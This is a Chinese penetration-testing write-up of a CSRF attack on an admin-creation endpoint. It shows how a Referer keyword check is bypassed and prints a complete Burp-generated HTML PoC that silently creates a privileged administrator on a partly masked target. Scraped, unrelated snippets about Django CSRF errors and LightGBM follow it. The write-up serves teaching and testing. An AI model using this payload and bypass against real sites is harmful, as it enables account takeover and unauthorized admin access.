CSRF实战案例—绕过referer值验证

article/2025/9/23 9:41:28

在一个添加管理员的界面引起了我的注意

尝试添加一个管理员,如下添加成功,我们可以观察其请求包中并未存在token字段,可能存在csrf漏洞。但是存在“Referer”和“Origin”字段

我们把referer字段删了只剩origin,查看是否可以请求成功,发现可以请求成功

两个值都删了,请求失败

接着尝试将origin或referer值清空或者输入错误的origin和referer值,发现都会请求失败

即,origin字段和referer字段必须有一个正确。且值中必须存在“https域名”这个关键词。由于后面构造csrf poc时,referer值在表单中是可控的,而origin值不可控。所以这里必须针对referer值进行绕过

到这里我们得出了结论,服务器判断了referer值中是否存在“https域名”关键词。所以我们可以在网站新建一个名为“https加网站域名”的目录,csrf poc 1.html放在这个页面下,即可绕过

burp生成csrf poc,将如下删除

然后添加如下,敲黑板,这里是关键!!意思为Referer值包含完整的url路径,否则跳转时只会显示referer:127.0.01 还是绕过不了关键词的验证。

<meta name="referrer" content="unsafe-url">

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://xxx.xxx.cn/CenterOBT/privilege/saveAdminUser.action" method="POST"><meta name="referrer" content="unsafe-url"><input type="hidden" name="obtUserVO&#46;userVO&#46;userName" value="test123" /><input type="hidden" name="obtUserVO&#46;userVO&#46;password" value="61fe87b6fa0190d415626f0f6e457eef" /><input type="hidden" name="obtUserVO&#46;effective" value="A" /><input type="hidden" name="isPwdLevel" value="1" /><input type="hidden" name="functionIds" value="10000" /><input type="hidden" name="functionIds" value="10001" /><input type="hidden" name="functionIds" value="10002" /><input type="hidden" name="functionIds" value="10003" /><input type="hidden" name="functionIds" value="10004" /><input type="hidden" name="functionIds" value="10005" /><input type="hidden" name="functionIds" value="10009" /><input type="hidden" name="functionIds" value="20000" /><input type="hidden" name="functionIds" value="20001" /><input type="hidden" name="functionIds" value="20002" /><input type="hidden" name="functionIds" value="20003" /><input type="hidden" name="functionIds" value="20004" /><input type="hidden" name="functionIds" value="20005" /><input type="hidden" name="functionIds" value="20006" /><input type="hidden" name="functionIds" value="30000" /><input type="hidden" name="functionIds" value="30002" /><input type="hidden" name="functionIds" value="300020" /><input type="hidden" name="functionIds" value="300021" /><input type="hidden" name="functionIds" value="300022" /><input type="hidden" name="functionIds" value="30003" /><input type="hidden" name="functionIds" value="300030" /><input type="hidden" name="functionIds" value="300031" /><input type="hidden" name="functionIds" value="300032" /><input type="hidden" name="functionIds" value="30005" /><input type="hidden" name="functionIds" value="300050" /><input type="hidden" name="functionIds" value="300051" /><input type="hidden" name="functionIds" value="30006" /><input type="hidden" name="functionIds" value="300060" /><input type="hidden" name="functionIds" value="300061" /><input type="submit" value="Submit request" /></form></body>
</html>

然后点击

如下,成功添加管理员,

 使用添加的账号成功进行了登录


http://chatgpt.dhexx.cn/article/TjBt1CHv.shtml

相关文章

访问django后台,提示CSRF验证失败. 请求被中断.Referer checking failed - **** does not match any trust

1.非debug模式看到的报错 2.settings打开debug模式&#xff0c;才能把报错信息看的详细 3.去settings.py中&#xff0c;找到CsrfViewMiddleware 中间件&#xff0c;点击进入 4.搜索匹配报错信息 5.往下看看用到这个关键字的地方 6.从源码第一行开始看 7.settings.py&…

安全认证中的CSRF

1、什么叫做CSRF攻击 简单地说&#xff0c;就是说恶意网站&#xff0c;虽然没有盗取你的用户名和密码信息&#xff0c;但是却可以伪装成你&#xff0c;然后登录到银行&#xff0c;或者等危险网站&#xff0c;模拟你进行操作。利用的就是cookies这个特性&#xff0c;即浏览器提供…

csrf验证问题 -- 不同域名下Iframe嵌套Cookie失效导致csrf验证失败

问题原因 Cookie:SameSite Chrome 51 开始&#xff0c;浏览器的 Cookie 新增加了一个SameSite属性&#xff0c;主要用于防止CSRF攻击和用户追踪。 cookie的SameSite属性用来限制第三方Cookie&#xff0c;从而减少安全风险(防止CSRF)。 SameSite可以有下面三种值&#xff1a;…

接口报403,报CSRF验证失败的问题

问题定位&#xff1a;后台两个接口重名&#xff0c;走了优先级更高的接口&#xff0c;接口没有过滤CSRF&#xff1b; 一、csrf是什么 CSRF&#xff08;Cross-site request forgery&#xff09;跨站请求伪造&#xff0c;是一种常见的web安全漏洞&#xff0c;概括地说就是指&…

Django的csrf豁免:解决CSRF验证失败,请求被中断问题

1.CSRF介绍 跨站请求伪造&#xff08;英语&#xff1a;Cross-site request forgery&#xff09;&#xff0c;也被称为 one-click attack 或者 session riding&#xff0c;通常缩写为 CSRF 或者 XSRF&#xff0c; 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的…

解决:禁止访问 (403) CSRF验证失败

在测试Django框架POST请求方式时&#xff0c;程序报错如下 在确保访问安全的情况下有一下两种方式&#xff1a; 1、在相应html文件form代码块中添加如下代码&#xff1a; <form method"post" action"/method_show/">{% csrf_token %} <!-- 改行…

Ubiquant LGBM Baseline 九坤量化大赛 版本44

数据描述&#xff1a; 该数据集包含来自数千项投资的真实历史数据的特征。你的挑战是预测与做出交易决策相关的模糊指标的价值。 Your challenge is to predict the value of an obfuscated metric relevant for making trading decisions. 这是一个代码竞赛&#xff0c;它依…

lgbm的roc曲线,auc计算

lgbm模型画ROC曲线 1、得到分类的概率 import numpy as npimport pandas as pdimport lightgbm as lgbfrom sklearn.model_selection import train_test_splitX_train, X_test, y_train, y_test \train_test_split(data.iloc[:, 0:-1], # featuredata.iloc[:, -1], # label…

LightGBM C++使用问题

~~~~~~~~~~~~~~~~~~~~串行single sample predict~~~~~~~~~~~~~~~~~~~~~~~~~ python下已测试通过&#xff0c;无问题&#xff1a; 然而C下问题是&#xff1a; 1&#xff0c;首先是与python下概率不一致&#xff1b; 2&#xff0c;然后是所有输入的结果都一样 初步怀疑版本问题…

kaggle学习笔记-otto-baseline5-LGBM的使用

数据处理 import polars as pltrain pl.read_parquet(../input/otto-train-and-test-data-for-local-validation/test.parquet) train_labels pl.read_parquet(../input/otto-train-and-test-data-for-local-validation/test_labels.parquet)def add_action_num_reverse_chr…

LightGBM(LGB)

转载自littlemichelle LightGBM&#xff08;Light Gradient Boosting Machine&#xff09;是一个实现GBDT算法的框架&#xff0c;支持高效率的并行训练&#xff0c;并且具有更快的训练速度、更低的内存消耗、更好的准确率、支持分布式可以快速处理海量数据等优点。 背景 常用…

lgbm参数分析及回归超参数寻找

参考&#xff1a;lgbm的github: https://github.com/Microsoft/LightGBM/blob/master/docs/Parameters.rst 代码来源参见我另一篇博客&#xff1a; https://blog.csdn.net/ssswill/article/details/85217702 网格搜索寻找超参数&#xff1a; from sklearn.model_selection imp…

LGBM 模型结果 图形展示

一、LGBM 模型结果 图形展示&#xff1a; 1、模型训练 train_x train[feas_x] train_y train[target].astype(int).copy() test_x, test_y test[feas_x], test[target] lgb_clf lgb.LGBMClassifier(objectivebinary,metricauc,num_leaves20,max_depth2,learning_rate0.06,…

Python量化交易05——基于多因子选择和选股策略(随机森林,LGBM)

参考书目:深入浅出Python量化交易实战 在机器学习里面的X叫做特征变量&#xff0c;在统计学里面叫做协变量也叫自变量&#xff0c;在量化投资里面则叫做因子&#xff0c;所谓多因子就是有很多的特征变量。 本次带来的就是多因子模型&#xff0c;并且使用的是机器学习的强大的非…

LightGBM(lgb)详解

1. LightGBM简介 GBDT (Gradient Boosting Decision Tree) 是机器学习中一个长盛不衰的模型&#xff0c;其主要思想是利用弱分类器&#xff08;决策树&#xff09;迭代训练以得到最优模型&#xff0c;该模型具有训练效果好、不易过拟合等优点。GBDT不仅在工业界应用广泛&#…

[机器学习] 模型融合GBDT(xgb/lgbm/rf)+LR 的原理及实践

目录 一、原理 GBDT LR 是什么,用在哪 二、说明 GBDT LR 的结构 RF LR ? Xgb LR? GBDT LR 模型提升 三、实践 1 如何获得样本落在哪个叶子节点 2 举例 2.2.1 训练集准备 2.2.2 RFLR 2.2.3 GBDTLR 2.2.4 XgboostLR 2.2.5 单独使用RF, GBDT和Xgboost 2.2.6 …

xgboost 与 lgbm

相关性分析模型可行性报告 基于数值的模型-xgboost 简介 XGBoost是一个优化的分布式梯度提升库&#xff0c;旨在高效&#xff0c;灵活和便携。它在梯度提升框架下实现机器学习算法。XGBoost提供了一个并行树提升&#xff08;也称为GBDT&#xff0c;GBM&#xff09;&#xff…

一文彻底看懂LightGBM

本文适合有集成学习与XGBoost基础的读者了解LightGBM算法。 序 LightGBM是基于XGBoost的改进版&#xff0c;在处理样本量大、特征纬度高的数据时&#xff0c;XGBoost效率和可扩展性也不够理想&#xff0c;因为其在对树节点分裂时&#xff0c;需要扫描每一个特征的每一个特征值…

LGBM算法

LGBM 算法定义算法实践其他 算法概念 Light GBM is a gradient boosting framework that uses tree based learning algorithm。 传统的GBDT算法存在的问题&#xff1a; 如何减少训练数据 常用的减少训练数据量的方式是down sample。例如在[5]中&#xff0c;权重小于阈值的…

LGBM调参方法学习

一、了解LGBM参数&#xff1a; LGBM是微软发布的轻量梯度提升机&#xff0c;最主要的特点是快&#xff0c;回归和分类树模型。使用LGBM首先需要查看其参数含义&#xff1a; 微软官方github上的说明&#xff1a; https://github.com/Microsoft/LightGBM/blob/master/docs/Param…